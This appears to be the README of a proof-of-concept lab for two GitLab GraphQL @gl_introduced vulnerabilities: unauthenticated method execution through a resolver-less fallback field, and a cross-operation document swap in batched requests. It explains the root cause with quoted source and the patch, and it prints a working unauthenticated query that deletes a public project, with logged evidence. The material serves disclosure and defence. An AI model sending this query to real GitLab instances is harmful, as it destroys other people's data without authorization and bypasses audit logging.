
Provides PoC exploits and root-cause analysis for two GitLab GraphQL `@gl_introduced` directive vulnerabilities: unauthenticated method execution and batched document swap, with upstream patch and live evidence.
@gl_introduced version-filter vulnerabilitiesA reproduction lab for two related bugs in GitLab's GraphQL version-filter
feature (the @gl_introduced directive). Both live in the same feature area,
are fixed by the same upstream patch, and both let a GraphQL request reach
code paths it never declared:
destroy) on the model behind any GraphQL type, just by naming a field
that doesn't exist and tagging it @gl_introduced.| Affected | 18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4 |
| Fixed | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Lab target | gitlab/gitlab-ce:19.2.2-ce.0 (last build before the fix) |
| Trigger | GraphQL @gl_introduced directive, alone or inside a batch |
docker-compose.yml Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
live_test_fallback.sh PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
live_test.sh PoC #2 -- live HTTP exploit, cross-operation document swap
run_poc.rb PoC #3 -- standalone, isolates the swap in plain graphql-ruby
loader.rb Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
Dockerfile Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
common/ Unchanged upstream files (shared by both variants) + demo schema
vuln/ Real 19.2.2 source of the files the patch touched
patched/ Real 19.2.4 source of the same files
evidence/
live_vuln_fallback_field.txt Captured output of PoC #1 against the live target
live_vuln.txt Captured output of PoC #2 against the live target
standalone_vuln.txt Captured output of PoC #3 (vuln)
standalone_patched.txt Captured output of PoC #3 (patched)
Everything under src/ is verbatim upstream source, never reimplemented — the
loader overlays src/vuln or src/patched on top of src/common.
Gitlab::Graphql::VersionFilter::FutureFieldFallback lets a query reference a
field that doesn't exist on a type yet without the request failing — meant
for rolling deploys, where an old node's schema doesn't yet have a field a
newer node already ships. Its get_field override checks whether the
requested field is missing and the request is flagged
contain_future_fields, and if so hands back a synthetic field instead of
raising:
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
field = super
return field unless future_field?(name: field_name, field: field, context: context)
fallback_field(name: field_name)
end
def fallback_field(name:)
GraphQL::Schema::Field.new(
owner: self,
name: name,
type: GraphQL::Types::Boolean,
fallback_value: nil
)
end
The problem: this GraphQL::Schema::Field is built with no resolver method,
no resolver class, no block. graphql-ruby's own default field resolution
then applies (graphql gem 2.6.3, lib/graphql/schema/field.rb):
inner_object.public_send(@method_sym)
@method_sym is the field's name, underscored — i.e. exactly the string the
attacker put in the query. If the object behind the GraphQL type (the
ActiveRecord model) happens to have a real, zero-argument public method with
that name, graphql-ruby calls it and returns its (type-coerced) result.
fallback_value: nil only applies when the method genuinely doesn't exist —
it does nothing to stop a real one from running.
So: query any type for a field named after a real destructive method —
destroy, for instance — tag it @gl_introduced so it survives to
execution, and the method runs.
IntroducedTracer implements the rest of the version-filter feature across
two graphql-ruby trace hooks — parse (once per operation) and
execute_query (once per operation). In the vulnerable build it stashes its
per-operation state in plain instance variables on the trace object:
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
@original_query_document = super # <-- shared ivar
@contain_future_fields = false
filter = FutureFieldFilter.new(@original_query_document.dup)
filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end
def execute_query(query:)
return super unless @contain_future_fields
query.instance_variable_set(:@document, @original_query_document) # <-- swap
query.send(:prepare_ast)
query.context[:contain_future_fields] = @contain_future_fields
super
end
The problem: graphql-ruby shares ONE trace instance across every operation in a multiplexed request, and parses them all before executing any of them. So in a two-operation batch:
parse(op1) → @original_query_document = op1_doc, @contain_future_fields = falseparse(op2) → @original_query_document = op2_doc, @contain_future_fields = true
(op2 carries a @gl_introduced future field)After parsing, only the last operation's state survives. Then execution runs:
execute_query(op1) → flag is true, so op1's document is overwritten with
op2_doc and re-prepared → op1's slot runs op2's operation.op1 declared a read; it executes op2's write.
patch-19.2.2-to-19.2.4.diff closes both:
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all
# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document] # no cross-operation bleed
query {
project(fullPath: "root/some-public-project") {
id
destroy @gl_introduced(version: "99.0.0")
}
}
No Authorization header. One operation, no batch. destroy is not a real
field on Project — it doesn't exist in the schema at all — but the
directive makes FutureFieldFilter strip it before static validation and
arms contain_future_fields for execution, where get_field hands back a
resolver-less field named destroy and graphql-ruby calls
project.public_send(:destroy).
Verified live (evidence/live_vuln_fallback_field.txt, reproduced three
times against three separate disposable projects): sent against a public
project, the response was {"data":{"project":{"id":"...","destroy":true}}}.
A follow-up authenticated REST check (GET /api/v4/projects/:id) returned
404 — the project was actually gone. The request log for that call shows 9
synchronous database writes and zero new AuditEvent rows: the call bypasses
Projects::DestroyService entirely (and with it the audit trail, webhooks,
and notifications) — it is a raw ActiveRecord#destroy cascade invoked
directly through GraphQL's default field resolution.